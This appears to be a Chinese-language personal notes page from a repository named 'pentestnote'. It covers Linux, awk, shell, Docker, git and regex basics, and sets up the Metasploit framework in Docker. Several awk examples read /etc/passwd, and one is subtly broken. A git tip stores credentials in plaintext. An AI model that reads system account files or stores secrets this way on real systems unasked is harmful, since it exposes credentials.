  • 编辑 hosts 文件:vim /etc/hosts,添加内容格式:127.0.0.1 www.youmeek.com
  • RPM 文件操作命令:
    • 安装
      • rpm -i example.rpm,安装 example.rpm 包
      • rpm -iv example.rpm,安装 example.rpm 包并在安装过程中显示正在安装的文件信息
      • rpm -ivh example.rpm,安装 example.rpm 包并在安装过程中显示正在安装的文件信息及安装进度
    • 查询
      • rpm -qa | grep jdk,查看 jdk 是否被安装
      • rpm -ql jdk,查看 jdk 是否被安装
    • 卸载
      • rpm -e jdk,卸载 jdk(一般卸载的时候都要先用 rpm -qa 看下整个软件的全名)
  • YUM 软件管理:
    • yum install -y httpd,安装 apache
    • yum remove -y httpd,卸载 apache
    • yum info -y httpd,查看 apache 版本信息
    • yum list --showduplicates httpd,查看可以安装的版本
    • yum install httpd-查询到的版本号,安装指定版本
    • 更多命令可以看:http://man.linuxde.net/yum
  • 查看某个配置文件,排除掉里面以 # 开头的注释内容:
    • grep '^[^#]' /etc/openvpn/server.conf
  • 查看某个配置文件,排除掉里面以 # 开头和 ; 开头的注释内容:
    • grep '^[^#;]' /etc/openvpn/server.conf

AWK命令

awk '{ print }' /etc/passwd

查看/etc/passwd内容和用cat命令一样.指定了/etc/passwd 作为输入文件。执行 awk 时,它依次对 /etc/passwd 中的每一行执行 print 命令

awk '{ print $0 }' /etc/passwd

在 awk 中, $0 变量表示整个当前行,所以 print 和 print $0 的作用完全一样.

awk -F":" '{ print $1 }' /etc/passwd

使用 -F 选项来指定 ":" 作为字段分隔符。awk 处理 print $1 命令时,它会打印出在输入文件中每一行中出现的第一个字段(第一列)。

awk -F":" '{ print $1 $3 }' /etc/passwd

打印第一列和第三列

awk -F":" '{ print $1 " " $3 }' /etc/passwd

打印第一列和第三列,用空格分开

awk -F":" '{ print "username: " $1 "/t/tuid:" $3" }' /etc/passwd

拼接一些字符串

待更新

shell编程

拼接字符串

yourname="lihua"

chat="Hello, "$yourname" !"

chat1="Hello, ${yourname} !"

echo ${chat} ${chat1}

if语句

语法格式

if condition

then
       command1

fi
if condition

then

       command1


else

       command1

fi
if condition1

then

       command1

elif condition2

then

       command1

else

       commandm

fi

文件表达式 -e filename 如果 filename存在,则为真 -d filename 如果 filename为目录,则为真 -f filename 如果 filename为常规文件,则为真 -L filename 如果 filename为符号链接,则为真 -r filename 如果 filename可读,则为真 -w filename 如果 filename可写,则为真 -x filename 如果 filename可执行,则为真 -s filename 如果文件长度不为0,则为真 -h filename 如果文件是软链接,则为真 filename1 -nt filename2 如果 filename1比 filename2新,则为真。 filename1 -ot filename2 如果 filename1比 filename2旧,则为真。

整数变量表达式 -eq 等于 -ne 不等于 -gt 大于 -ge 大于等于 -lt 小于 -le 小于等于

字符串变量表达式 If [ $a = $b ] 如果string1等于string2,则为真 字符串允许使用赋值号做等号 if [ $string1 != $string2 ] 如果string1不等于string2,则为真
if [ -n $string ] 如果string 非空(非0),返回0(true)
if [ -z $string ] 如果string 为空,则为真 if [ $sting ] 如果string 非空,返回0 (和-n类似)

逻辑非 ! 条件表达式的相反 if [ ! 表达式 ] if [ ! -d $num ] 如果不存在目录$num

逻辑与 –a 条件表达式的并列 if [ 表达式1 –a 表达式2 ]

逻辑或 -o 条件表达式的或 if [ 表达式1 –o 表达式2 ]

for循环

for var in item1

do

    command1

    command2

Done

while

while condition

do

       command

done

docker命令笔记

搜索镜像

sudo docker search metasploit

拉取(下载)镜像

sudo docker pull metasploitframework/metasploit-framework

查看全部镜像

sudo docker images

简单运行镜像

sudo docker run metasploitframework/metasploit-framework

用id运行

sudo docker run 644b96152120

交互运行镜像

sudo docker run -dit --name msf metasploitframework/metasploit-framework

-dit 同等于 -d -i -t -i: 以交互模式运行容器,通常与 -t 同时使用; -d: 后台运行容器,并返回容器ID; -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用; --name="msf": 为容器指定一个名称,方面后面直接用名称启动;

进入容器终端(进入已经在运行的镜像)

sudo docker exec -it msf /bin/bash

端口映射,运行镜像(容器80到主机5000)

sudo docker run -dit -p 5000:80 --name nginx nginx:latest

查看容器的端口映射

sudo docker port nginx

启动容器(运行过镜像就会出现一个容器,比如电脑重启就需要重新启动容器,不需要在重新run一个)

sudo docker start nginx

停止容器

sudo docker stop nginx

重启容器

sudo docker restart nginx

查看当前正在运行的容器

sudo docker ps

查看全部,包括已经停止的

docker ps -a

删除容器

sudo docker rm 容器id

强制删除

sudo docker rm -f 容器id

删除镜像

sudo docker rmi 镜像id

查看网络

sudo docker network ls

ubuntu踩坑记录

  • unzip 命令解压windows下的压缩包乱码,可用unar命令解决

    sudo apt install unar
    unar xxx.zip            #不需要加参数,自动识别编码

git 笔记

当前项目(仓库)记住密码

1根目录输入:

加--global可以设置全局记住

git config  credential.helper store

2然后打开.git文件夹的config文件,回发现多了两行

[credential]
helper=store

3后面只需要pull提交一次就会记住密码

编程语言学习笔记

常用正则

邮箱

[email protected] 只允许英文字母、数字、下划线、英文句号、以及中划线组成

^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

高子航[email protected] 名称允许汉字、字母、数字,域名只允许英文域名

^[A-Za-z0-9\u4e00-\u9fa5]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

电话

13012345678 手机号

^1(3|4|5|6|7|8|9)\d{9}$

XXX-XXXXXXX XXXX-XXXXXXXX 固定电话

(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}

域名

https://google.com/

^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)

IP

127.0.0.1

((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))

帐号校验

gaozihang_001 字母开头,允许5-16字节,允许字母数字下划线

^[a-zA-Z][a-zA-Z0-9_]{4,15}$

字符校验

汉字

高子航

^[\u4e00-\u9fa5]{0,}$

英文和数字

^[A-Za-z0-9]+$

长度为3-20的所有字符

^.{3,20}$

英文字符

由26个英文字母组成的字符串

^[A-Za-z]+$

由26个大写英文字母组成的字符串

^[A-Z]+$

由26个小写英文字母组成的字符串

^[a-z]+$

由数字和26个英文字母组成的字符串

^[A-Za-z0-9]+$

由数字、26个英文字母或者下划线组成的字符串

^\w+$

中文、英文、数字包括下划线

^[\u4E00-\u9FA5A-Za-z0-9_]+$

中文、英文、数字但不包括下划线等符号

^[\u4E00-\u9FA5A-Za-z0-9]+$

禁止输入含有%&',;=?$"等字符

[^%&',;=?$\x22]+

禁止输入含有~的字符

[^~\x22]+

数字正则

整数

^-?[1-9]\d*$

正整数

^[1-9]\d*$

负整数

^-[1-9]\d*$

非负整数

^[1-9]\d*|0$

非正整数

^-[1-9]\d*|0$

浮点数

^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$

正浮点数

^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$

负浮点数

^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$

非负浮点数

^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$

非正浮点数

^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$

php

读书笔记

漏洞笔记

xss入门https://wizardforcel.gitbooks.io/xss-naxienian/content/1.html

pentestnote's People

Contributors

safe6sec avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.